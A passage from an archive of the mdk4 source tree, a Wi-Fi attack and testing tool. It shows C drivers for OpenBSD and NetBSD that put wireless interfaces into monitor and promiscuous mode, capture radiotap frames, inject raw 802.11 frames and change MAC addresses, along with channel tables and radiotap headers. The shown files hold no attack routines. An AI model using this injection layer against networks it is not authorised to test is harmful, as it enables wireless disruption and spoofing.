ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include "osdep.h" struct wif *wi_open_osdep(char *iface) { if (iface) {} /* XXX unused parameter */ errno = EOPNOTSUPP; return NULL; } int get_battery_state(void) { errno = EOPNOTSUPP; return -1; } int create_tap(void) { errno = EOPNOTSUPP; return -1; } mdk4-master/src/osdep/packed.h0000644000175000017500000000347613525065636017310 0ustar samuelophsamueloph/* * Pack structures * * Copyright (c) 2007, 2008, Andrea Bittau * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef __AIRCRACK_NG_OSDEP_PACKED_H__ #define __AIRCRACK_NG_OSDEP_PACKED_H__ #ifndef __packed #define __packed __attribute__ ((__packed__)) #endif /* __packed */ #ifndef __aligned #define __aligned(n) #endif #endif /* __AIRCRACK_NG_OSEDEP_PACKED_H__ */ mdk4-master/src/osdep/openbsd.c0000644000175000017500000003016513525065636017501 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for OpenBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #ifndef IEEE80211_RADIOTAP_F_FCS #define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */ #endif #ifndef IEEE80211_IOC_CHANNEL #define IEEE80211_IOC_CHANNEL 0 #endif #ifndef le32toh #define le32toh(x) htole32(x) #endif struct priv_obsd { /* iface */ int po_fd; /* rx */ int po_nocrc; /* tx */ unsigned char po_buf[4096]; unsigned char *po_next; int po_totlen; /* setchan */ int po_s; struct ifreq po_ifr; struct ieee80211chanreq po_ireq; int po_chan; }; static void get_radiotap_info(struct priv_obsd *po, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { ri->ri_channel = 1; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (po->po_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; po->po_nocrc = 1; } } static unsigned char *get_80211(struct priv_obsd *po, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &po->po_next; totlen = &po->po_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(po, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int obsd_get_channel(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); if(ioctl(po->po_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1; return channel.i_channel; } static int obsd_set_channel(struct wif *wi, int chan) { struct priv_obsd *po = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); channel.i_channel = chan; if(ioctl(po->po_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1; po->po_chan = chan; return 0; } static int obsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_obsd *po = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ while (po->po_totlen == 0) { po->po_totlen = read(po->po_fd, po->po_buf, sizeof(po->po_buf)); if (po->po_totlen == -1) { po->po_totlen = 0; return -1; } po->po_next = po->po_buf; } /* read 802.11 packet */ wh = get_80211(po, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int obsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_obsd *po = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} rc = write(po->po_fd, h80211, len); if (rc == -1) return rc; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void obsd_close(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); close(po->po_fd); close(po->po_s); do_free(wi); } static int do_obsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_obsd *po = wi_priv(wi); unsigned int size=sizeof(po->po_buf); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; po->po_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = ifr.ifr_flags; flags |= IFF_UP | IFF_PROMISC; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strncpy(ifmr.ifm_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strncpy(po->po_ireq.i_name, iface, IFNAMSIZ); /* same for ifreq [mac addr] */ strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ); /* open bpf */ for(i = 0; i < 256; i++) { snprintf(buf, sizeof(buf), "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf; strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; if(ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int obsd_fd(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); return po->po_fd; } static int obsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int obsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int obsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int obsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int obsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_obsd *po = wi_priv(wi); struct ifreq *ifr = &po->po_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(po->po_s, SIOCSIFLLADDR, ifr); } static struct wif *obsd_open(char *iface) { struct wif *wi; struct priv_obsd *po; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*po)); if (!wi) return NULL; wi->wi_read = obsd_read; wi->wi_write = obsd_write; wi->wi_set_channel = obsd_set_channel; wi->wi_get_channel = obsd_get_channel; wi->wi_close = obsd_close; wi->wi_fd = obsd_fd; wi->wi_get_mac = obsd_get_mac; wi->wi_set_mac = obsd_set_mac; wi->wi_get_rate = obsd_get_rate; wi->wi_set_rate = obsd_set_rate; wi->wi_get_monitor = obsd_get_monitor; /* setup iface */ fd = do_obsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ po = wi_priv(wi); po->po_fd = fd; return wi; } struct wif *wi_open_osdep(char *iface) { return obsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) int value; size_t len; len = 1; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } mdk4-master/src/osdep/common.c0000644000175000017500000000556213525065636017342 0ustar samuelophsamueloph /* * Copyright (c) 2008-2015, Thomas d'Otreppe * * Common OSdep stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include "common.h" /** * Return the frequency in Mhz from a channel number */ int getFrequencyFromChannel(int channel) { static int frequencies[] = { -1, // No channel 0 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, 2472, 2484, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // Nothing from channel 15 to 34 (exclusive) 5170, 5175, 5180, 5185, 5190, 5195, 5200, 5205, 5210, 5215, 5220, 5225, 5230, 5235, 5240, 5245, 5250, 5255, 5260, 5265, 5270, 5275, 5280, 5285, 5290, 5295, 5300, 5305, 5310, 5315, 5320, 5325, 5330, 5335, 5340, 5345, 5350, 5355, 5360, 5365, 5370, 5375, 5380, 5385, 5390, 5395, 5400, 5405, 5410, 5415, 5420, 5425, 5430, 5435, 5440, 5445, 5450, 5455, 5460, 5465, 5470, 5475, 5480, 5485, 5490, 5495, 5500, 5505, 5510, 5515, 5520, 5525, 5530, 5535, 5540, 5545, 5550, 5555, 5560, 5565, 5570, 5575, 5580, 5585, 5590, 5595, 5600, 5605, 5610, 5615, 5620, 5625, 5630, 5635, 5640, 5645, 5650, 5655, 5660, 5665, 5670, 5675, 5680, 5685, 5690, 5695, 5700, 5705, 5710, 5715, 5720, 5725, 5730, 5735, 5740, 5745, 5750, 5755, 5760, 5765, 5770, 5775, 5780, 5785, 5790, 5795, 5800, 5805, 5810, 5815, 5820, 5825, 5830, 5835, 5840, 5845, 5850, 5855, 5860, 5865, 5870, 5875, 5880, 5885, 5890, 5895, 5900, 5905, 5910, 5915, 5920, 5925, 5930, 5935, 5940, 5945, 5950, 5955, 5960, 5965, 5970, 5975, 5980, 5985, 5990, 5995, 6000, 6005, 6010, 6015, 6020, 6025, 6030, 6035, 6040, 6045, 6050, 6055, 6060, 6065, 6070, 6075, 6080, 6085, 6090, 6095, 6100 }; return (channel > 0 && channel <= HIGHEST_CHANNEL) ? frequencies[channel] : (channel >= LOWEST_CHANNEL && channel <= -4) ? 5000 - (channel * 5) : -1 ; } /** * Return the channel from the frequency (in Mhz) */ int getChannelFromFrequency(int frequency) { if (frequency >= 2412 && frequency <= 2472) return (frequency - 2407) / 5; else if (frequency == 2484) return 14; else if (frequency >= 4920 && frequency <= 6100) return (frequency - 5000) / 5; else return -1; } mdk4-master/src/osdep/netbsd.c0000644000175000017500000003016013525065636017321 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for NetBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #ifndef IEEE80211_RADIOTAP_F_FCS #define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */ #endif #ifndef IEEE80211_IOC_CHANNEL #define IEEE80211_IOC_CHANNEL 0 #endif #ifndef le32toh #define le32toh(x) htole32(x) #endif struct priv_nbsd { /* iface */ int pn_fd; /* rx */ int pn_nocrc; /* tx */ unsigned char pn_buf[4096]; unsigned char *pn_next; int pn_totlen; /* setchan */ int pn_s; struct ifreq pn_ifr; struct ieee80211chanreq pn_ireq; int pn_chan; }; static void get_radiotap_info(struct priv_nbsd *pn, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { ri->ri_channel = 1; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (pn->pn_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; pn->pn_nocrc = 1; } } static unsigned char *get_80211(struct priv_nbsd *pn, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &pn->pn_next; totlen = &pn->pn_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(pn, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int nbsd_get_channel(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); if(ioctl(pn->pn_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1; return channel.i_channel; } static int nbsd_set_channel(struct wif *wi, int chan) { struct priv_nbsd *pn = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); channel.i_channel = chan; if(ioctl(pn->pn_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1; pn->pn_chan = chan; return 0; } static int nbsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_nbsd *pn = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ if (pn->pn_totlen == 0) { pn->pn_totlen = read(pn->pn_fd, pn->pn_buf, sizeof(pn->pn_buf)); if (pn->pn_totlen == -1) { pn->pn_totlen = 0; return -1; } pn->pn_next = pn->pn_buf; } /* read 802.11 packet */ wh = get_80211(pn, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int nbsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_nbsd *pn = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} rc = write(pn->pn_fd, h80211, len); if (rc == -1) return rc; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void nbsd_close(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); close(pn->pn_fd); close(pn->pn_s); do_free(wi); } static int do_nbsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_nbsd *pn = wi_priv(wi); unsigned int size=sizeof(pn->pn_buf); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; pn->pn_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = ifr.ifr_flags; flags |= IFF_UP | IFF_PROMISC; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strncpy(ifmr.ifm_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strncpy(pn->pn_ireq.i_name, iface, IFNAMSIZ); /* same for ifreq [mac addr] */ strncpy(pn->pn_ifr.ifr_name, iface, IFNAMSIZ); /* open bpf */ for(i = 0; i < 256; i++) { snprintf(buf, sizeof(buf), "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf; strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; if(ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int nbsd_fd(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); return pn->pn_fd; } static int nbsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int nbsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int nbsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int nbsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int nbsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_nbsd *pn = wi_priv(wi); struct ifreq *ifr = &pn->pn_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(pn->pn_s, SIOCSIFADDR, ifr); } static struct wif *nbsd_open(char *iface) { struct wif *wi; struct priv_nbsd *pn; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*pn)); if (!wi) return NULL; wi->wi_read = nbsd_read; wi->wi_write = nbsd_write; wi->wi_set_channel = nbsd_set_channel; wi->wi_get_channel = nbsd_get_channel; wi->wi_close = nbsd_close; wi->wi_fd = nbsd_fd; wi->wi_get_mac = nbsd_get_mac; wi->wi_set_mac = nbsd_set_mac; wi->wi_get_rate = nbsd_get_rate; wi->wi_set_rate = nbsd_set_rate; wi->wi_get_monitor = nbsd_get_monitor; /* setup iface */ fd = do_nbsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ pn = wi_priv(wi); pn->pn_fd = fd; return wi; } struct wif *wi_open_osdep(char *iface) { return nbsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) int value; size_t len; len = 1; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } mdk4-master/src/osdep/radiotap/0000755000175000017500000000000013525065636017501 5ustar samuelophsamuelophmdk4-master/src/osdep/radiotap/Makefile0000644000175000017500000000005613525065636021142 0ustar samuelophsamuelophall: install: uninstall: clean: rm -f *.o mdk4-master/src/osdep/radiotap/radiotap_iter.h0000644000175000017500000000556413525065636022512 0ustar samuelophsamueloph#ifndef __RADIOTAP_ITER_H #define __RADIOTAP_ITER_H #include #include "radiotap.h" /* Radiotap header iteration * implemented in radiotap.c */ struct radiotap_override { uint8_t field; uint8_t align:4, size:4; }; struct radiotap_align_size { uint8_t align:4, size:4; }; struct ieee80211_radiotap_namespace { const struct radiotap_align_size *align_size; int n_bits; uint32_t oui; uint8_t subns; }; struct ieee80211_radiotap_vendor_namespaces { const struct ieee80211_radiotap_namespace *ns; int n_ns; }; /** * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args * @this_arg_index: index of current arg, valid after each successful call * to ieee80211_radiotap_iterator_next() * @this_arg: pointer to current radiotap arg; it is valid after each * call to ieee80211_radiotap_iterator_next() but also after * ieee80211_radiotap_iterator_init() where it will point to * the beginning of the actual data portion * @this_arg_size: length of the current arg, for convenience * @current_namespace: pointer to the current namespace definition * (or internally %NULL if the current namespace is unknown) * @is_radiotap_ns: indicates whether the current namespace is the default * radiotap namespace or not * * @overrides: override standard radiotap fields * @n_overrides: number of overrides * * @_rtheader: pointer to the radiotap header we are walking through * @_max_length: length of radiotap header in cpu byte ordering * @_arg_index: next argument index * @_arg: next argument pointer * @_next_bitmap: internal pointer to next present u32 * @_bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present * @_vns: vendor namespace definitions * @_next_ns_data: beginning of the next namespace's data * @_reset_on_ext: internal; reset the arg index to 0 when going to the * next bitmap word * * Describes the radiotap parser state. Fields prefixed with an underscore * must not be used by users of the parser, only by the parser internally. */ struct ieee80211_radiotap_iterator { struct ieee80211_radiotap_header *_rtheader; const struct ieee80211_radiotap_vendor_namespaces *_vns; const struct ieee80211_radiotap_namespace *current_namespace; unsigned char *_arg, *_next_ns_data; uint32_t *_next_bitmap; unsigned char *this_arg; #ifdef RADIOTAP_SUPPORT_OVERRIDES const struct radiotap_override *overrides; int n_overrides; #endif int this_arg_index; int this_arg_size; int is_radiotap_ns; int _max_length; int _arg_index; uint32_t _bitmap_shifter; int _reset_on_ext; }; extern int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns); extern int ieee80211_radiotap_iterator_next( struct 